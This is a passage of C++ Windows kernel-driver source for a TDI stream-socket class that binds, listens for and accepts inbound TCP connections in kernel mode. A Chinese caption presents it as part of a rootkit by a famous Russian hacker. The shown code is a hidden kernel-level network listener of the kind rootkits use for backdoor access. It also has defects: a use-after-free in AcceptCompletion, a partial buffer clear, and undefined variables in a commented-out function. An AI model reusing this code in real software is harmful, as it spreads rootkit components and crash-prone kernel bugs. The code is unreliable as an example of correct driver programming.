ktdistreamsocket.cpp

尔罗斯著名黑客写的rootkit

          NtStatus = TdiCall(pIrp, pDeviceObject, &IoStatusBlock);
          
          if (NT_SUCCESS(NtStatus))
          {
            DbgPrint ("TdiDisconnect: SUCCESS (%08x)!!!\n", NtStatus);
          }
          else
          {
            DbgPrint ("TdiDisconnect: ERROR (%08x)!!!\n", NtStatus);
          }

          if (bConnected == TRUE)
            m_bConnected = FALSE;
          if (bListen == TRUE)
          {
            m_bListen = FALSE;
            delete[] m_pRequestListenInfo;
            m_pRequestListenInfo = NULL;
          }
          bRes = TRUE;
        }
        delete[] pRequestConnectionInfo;
        pRequestConnectionInfo = NULL;
      }
    }
  }
  __finally
  {
    if (pIrpError != NULL)
      IoFreeIrp(pIrpError);
    if (pRequestConnectionInfo != NULL)
      delete[] pRequestConnectionInfo;
  }

  return bRes;
}

NTSTATUS 
KTdiStreamSocket::ClientEventConnect(
       IN PVOID TdiEventContext,
       IN LONG RemoteAddressLength,
       IN PVOID RemoteAddress,
       IN LONG UserDataLength,
       IN PVOID UserData,
       IN LONG OptionsLength,
       IN PVOID Options,
       OUT CONNECTION_CONTEXT* ConnectionContext,
       OUT PIRP *AcceptIrp
      )
{
  KTdiStreamSocket* _this = (KTdiStreamSocket*)TdiEventContext;
  NTSTATUS NtStatus = STATUS_CONNECTION_REFUSED;

  DbgPrint ("KTdiStreamSocket::ClientEventConnect: START!!!\n");

  if (_this != NULL)
  {
    NtStatus = _this->ConnectEventHandler(RemoteAddressLength, (PTA_IP_ADDRESS)RemoteAddress, UserDataLength, UserData, OptionsLength, Options, ConnectionContext, AcceptIrp);
  }
  else
  {
    *ConnectionContext = (CONNECTION_CONTEXT)NULL;
    *AcceptIrp = NULL;
  }

  return NtStatus;
}

NTSTATUS
KTdiStreamSocket::AcceptCompletion(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp,
    IN PVOID Context
    )
{
  KTdiStreamSocket* _this = (KTdiStreamSocket*) Context;

  if (Irp->UserIosb != NULL)
    *Irp->UserIosb = Irp->IoStatus;

//  if (Irp->MdlAddress != NULL)
//  {
//    MmUnlockPages(Irp->MdlAddress);
//    IoFreeMdl(Irp->MdlAddress);
//  }

  if (Irp->UserEvent != NULL)
    KeSetEvent(Irp->UserEvent, 0, FALSE);

  IoFreeIrp(Irp);
  
  if (_this != NULL)
    //InterlockedDecrement(&(_this->m_dwTreatAcceptIrpsCount));
    --(_this->m_TreatAcceptIrpsCount);

  DbgPrint ("AcceptCompletion: %08x!!!\n", Irp->IoStatus.Status);

  return STATUS_MORE_PROCESSING_REQUIRED;
}

NTSTATUS 
KTdiStreamSocket::ConnectEventHandler(
       IN LONG RemoteAddressLength,
       IN PTA_IP_ADDRESS RemoteAddress,
       IN LONG UserDataLength,
       IN PVOID UserData,
       IN LONG OptionsLength,
       IN PVOID Options,
       OUT CONNECTION_CONTEXT* ConnectionContext,
       OUT PIRP *AcceptIrp
      )
{
  PTDI_CONNECTION_INFORMATION  pReturnConnectionInfo;
  NTSTATUS                     NtStatus = STATUS_CONNECTION_REFUSED;
  USHORT                       nRemotePort;
  ULONG                        nRemoteAddress;
  PDEVICE_OBJECT               pDeviceObject;
  PTA_IP_ADDRESS               pReturnAddress;
  PIRP                         pIrp = NULL;
  PTA_IP_ADDRESS               pRequestAddress;
  PTDI_ADDRESS_IP              pIp;

  *ConnectionContext = (CONNECTION_CONTEXT)NULL;
  *AcceptIrp = NULL;

  if (m_bConnected == TRUE)
  {
    return NtStatus;
  }

  if (
         RemoteAddressLength >= sizeof(TA_IP_ADDRESS)
      && RemoteAddress != NULL
      && RemoteAddress->Address[0].AddressType == TDI_ADDRESS_TYPE_IP
     )
  {
    nRemotePort = W_BIG_TO_LITTLE_ENDIAN(RemoteAddress->Address[0].Address[0].sin_port);
    nRemoteAddress = D_BIG_TO_LITTLE_ENDIAN(RemoteAddress->Address[0].Address[0].in_addr);

    DbgPrint ("ConnectEventHandler: %08x : %04x !!!\n", nRemoteAddress, nRemotePort);
    
    
    NtStatus = STATUS_MORE_PROCESSING_REQUIRED;
    if (m_nRemoteAddress != NULL)
    {
      if (m_nRemoteAddress != nRemoteAddress || m_nRemotePort != nRemotePort)
      {
        NtStatus = STATUS_CONNECTION_REFUSED;
      }
    }

    if (NtStatus == STATUS_MORE_PROCESSING_REQUIRED)
    {
      NtStatus = STATUS_INSUFFICIENT_RESOURCES;
      
      m_pRequestListenInfo = (PTDI_CONNECTION_INFORMATION) new char[2*sizeof(TDI_CONNECTION_INFORMATION) + 2*sizeof(TA_IP_ADDRESS) + sizeof(ULONG)];
      if (m_pRequestListenInfo != NULL)
      {
        memset(m_pRequestListenInfo, 0, sizeof(TDI_CONNECTION_INFORMATION) + sizeof(TA_IP_ADDRESS) + sizeof(ULONG));

        m_pReturnListenInfo = (PTDI_CONNECTION_INFORMATION)((PUCHAR)m_pRequestListenInfo + sizeof(TDI_CONNECTION_INFORMATION) + sizeof(TA_IP_ADDRESS));
        m_pReturnListenInfo->RemoteAddressLength = sizeof(TA_IP_ADDRESS);
        m_pReturnListenInfo->RemoteAddress = (PUCHAR)m_pRequestListenInfo + sizeof(TDI_CONNECTION_INFORMATION);

        pReturnAddress = (PTA_IP_ADDRESS)(m_pReturnListenInfo->RemoteAddress);
        pReturnAddress->TAAddressCount = 1;
        pReturnAddress->Address[0].AddressLength = sizeof(TDI_ADDRESS_IP);
        pReturnAddress->Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
        
        if (m_nRemoteAddress != 0)
        {
          m_pRequestListenInfo->RemoteAddressLength = sizeof(TA_IP_ADDRESS);
          m_pRequestListenInfo->RemoteAddress = (PUCHAR)m_pRequestListenInfo + sizeof(TDI_CONNECTION_INFORMATION);

          pRequestAddress = (PTA_IP_ADDRESS)(m_pRequestListenInfo->RemoteAddress);
          pRequestAddress->TAAddressCount = 1;
          pRequestAddress->Address[0].AddressLength = sizeof(TDI_ADDRESS_IP);
          pRequestAddress->Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
        
          pIp = (PTDI_ADDRESS_IP)(pRequestAddress->Address[0].Address);
          pIp->sin_port = W_LITTLE_TO_BIG_ENDIAN(m_nRemotePort);
          pIp->in_addr = D_LITTLE_TO_BIG_ENDIAN(m_nRemoteAddress);;
        }
        else
        {
          m_pRequestListenInfo->RemoteAddressLength = 0;
          m_pRequestListenInfo->RemoteAddress = NULL;
        }

        memset(&m_ListenStatusBlock, 0, sizeof(IO_STATUS_BLOCK));

        pDeviceObject = IoGetRelatedDeviceObject(m_pTdiConnectionObject);

        pIrp = TdiBuildInternalDeviceControlIrp(
                      TDI_ACCEPT, 
                      pDeviceObject, 
                      m_pTdiConnectionObject,
                      &m_kListenEvent, 
                      &m_ListenStatusBlock);
        if (pIrp != NULL)
        {
          TdiBuildAccept(
                 pIrp, 
                 pDeviceObject, 
                 m_pTdiConnectionObject,
                 AcceptCompletion, 
                 (PVOID)this,
                 m_pRequestListenInfo,
                 m_pReturnListenInfo);

          *ConnectionContext = (CONNECTION_CONTEXT)this;
          *AcceptIrp = pIrp;
          
          IoSetNextIrpStackLocation(pIrp);

          //InterlockedIncrement(&m_dwTreatAcceptIrpsCount);
          ++m_TreatAcceptIrpsCount;
          
          DbgPrint ("ConnectEventHandler: OK!!!\n");

          NtStatus = STATUS_MORE_PROCESSING_REQUIRED;
        }
      }
    }
    
  }

  return NtStatus;
}


BOOLEAN KTdiStreamSocket::Listen(IN USHORT wRemotePort, IN ULONG dwRemoteAddress)
{
  BOOLEAN                      bRes = FALSE;

  __try
  {
    if (m_bOpen == TRUE && m_bBind == TRUE && m_bConnected == FALSE && Disconnect() == TRUE)
    {
      m_nRemotePort = wRemotePort;
      m_nRemoteAddress = dwRemoteAddress;

      KeInitializeEvent(&m_kAcceptDestroyEvent, NotificationEvent, FALSE);
      KeInitializeEvent(&m_kListenEvent, NotificationEvent, FALSE);
      if (SetEventHandler(TDI_EVENT_CONNECT, (PVOID)ClientEventConnect, (PVOID)this))
      {
        DbgPrint ("TdiListen: OK!!!\n");
        m_bListen = TRUE;
        bRes = TRUE;
      }
    }
  }
  __finally
  {
  }

  return bRes;
}

BOOLEAN KTdiStreamSocket::Accept(ULONG dwTimeOut)
{
  //KLocker locker(&m_KSynchroObject);

  BOOLEAN                      bRes = FALSE;
  NTSTATUS                     NtStatus;
  PVOID                        pkEvents[2];
  LARGE_INTEGER                TimeOut;
  PLARGE_INTEGER               pTimeOut = NULL;

  //m_KSynchroObject.Lock();

  __try
  {
    if (m_bOpen == TRUE && m_bBind == TRUE && m_bConnected == FALSE && m_bListen == TRUE)
    {
      if (dwTimeOut != 0)
      {
        pTimeOut = &TimeOut;
        TimeOut.QuadPart = dwTimeOut * 10000; // msec -> 100 nsec intervals
        TimeOut.QuadPart = -TimeOut.QuadPart;
      }
      
      pkEvents[0] = &m_kListenEvent;
      pkEvents[1] = &m_kAcceptDestroyEvent;

      NtStatus  = KeWaitForMultipleObjects(2, pkEvents, WaitAny, Suspended, KernelMode, TRUE, pTimeOut, NULL);
      
      if (NtStatus == STATUS_WAIT_0)
      {
        if (NT_SUCCESS(m_ListenStatusBlock.Status))
        {
          SetEventHandler(TDI_EVENT_CONNECT, (PVOID)NULL, (PVOID)NULL);
          m_bConnected = TRUE;
          bRes = TRUE;
        
          DbgPrint ("TdiAccept: OK (%08x : %04x)!!!\n", m_nRemoteAddress, m_nRemotePort);
        }
        else
        {
          DbgPrint ("TdiAccept: ERROR (%08x)!!!\n", NtStatus);
        }
      }
    }
  }
  __finally
  {
  }

  //m_KSynchroObject.UnLock();

  return bRes;
}

/*
BOOLEAN KTdiStreamSocket::Listen(IN USHORT wRemotePort, IN ULONG dwRemoteAddress)
{
  //KLocker locker(&m_KSynchroObject);

  BOOLEAN                      bRes = FALSE;
  PIRP                         pIrp = NULL, pIrpError = NULL;
  PDEVICE_OBJECT               pDeviceObject;
  NTSTATUS                     NtStatus;
  //PTDI_CONNECTION_INFORMATION  pRequestListenInfo = NULL;
  //PTDI_CONNECTION_INFORMATION  pReturnConnectionInfo;
  PTA_IP_ADDRESS               pRequestAddress;
  PTDI_ADDRESS_IP              pIp;
  IO_STATUS_BLOCK              IoStatusBlock;

  __try
  {
    if (m_bOpen == TRUE && m_bBind == TRUE && m_bConnected == FALSE && Disconnect() == TRUE)
    {
      m_nRemotePort = wPort;
      m_nRemoteAddress = dwAddress;

      pDeviceObject = IoGetRelatedDeviceObject(m_pTdiConnectionObject);
      
      m_pRequestListenInfo = (PTDI_CONNECTION_INFORMATION) new char[2*sizeof(TDI_CONNECTION_INFORMATION) + 2*sizeof(TA_IP_ADDRESS) + sizeof(ULONG)];
      if (m_pRequestListenInfo != NULL)
      {
        memset(m_pRequestListenInfo, 0, sizeof(TDI_CONNECTION_INFORMATION) + sizeof(TA_IP_ADDRESS) + sizeof(ULONG));

        m_pReturnListenInfo = (PTDI_CONNECTION_INFORMATION)((PUCHAR)m_pRequestListenInfo + sizeof(TDI_CONNECTION_INFORMATION) + sizeof(TA_IP_ADDRESS));
        m_pReturnListenInfo->RemoteAddressLength = sizeof(TA_IP_ADDRESS);
        m_pReturnListenInfo->RemoteAddress = (PUCHAR)m_pRequestListenInfo + sizeof(TDI_CONNECTION_INFORMATION);

        m_pRequestListenInfo->Options = (PVOID) ((PUCHAR)m_pReturnListenInfo + sizeof(TDI_CONNECTION_INFORMATION) + sizeof(TA_IP_ADDRESS));
        *((ULONG*)(m_pRequestListenInfo->Options)) = TDI_QUERY_ACCEPT;
        m_pRequestListenInfo->OptionsLength = sizeof(ULONG);

        if (m_nRemoteAddress != 0)
        {
          m_pRequestListenInfo->RemoteAddressLength = sizeof(TA_IP_ADDRESS);
          m_pRequestListenInfo->RemoteAddress = (PUCHAR)m_pRequestListenInfo + sizeof(TDI_CONNECTION_INFORMATION);

          pRequestAddress = (PTA_IP_ADDRESS)(m_pRequestListenInfo->RemoteAddress);
          pRequestAddress->TAAddressCount = 1;
          pRequestAddress->Address[0].AddressLength = sizeof(TDI_ADDRESS_IP);
          pRequestAddress->Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
        
          pIp = (PTDI_ADDRESS_IP)(pRequestAddress->Address[0].Address);
          pIp->sin_port = W_LITTLE_TO_BIG_ENDIAN(m_nRemotePort);
          pIp->in_addr = D_LITTLE_TO_BIG_ENDIAN(m_nRemoteAddress);;
        }
        else
        {
          m_pRequestListenInfo->RemoteAddressLength = 0;
          m_pRequestListenInfo->RemoteAddress = NULL;
        }

        pIrp = TdiBuildInternalDeviceControlIrp(
                      TDI_LISTEN, 
                      pDeviceObject, 
                      m_pTdiConnectionObject,
                      NULL, 
                      NULL);
        pIrpError = pIrp;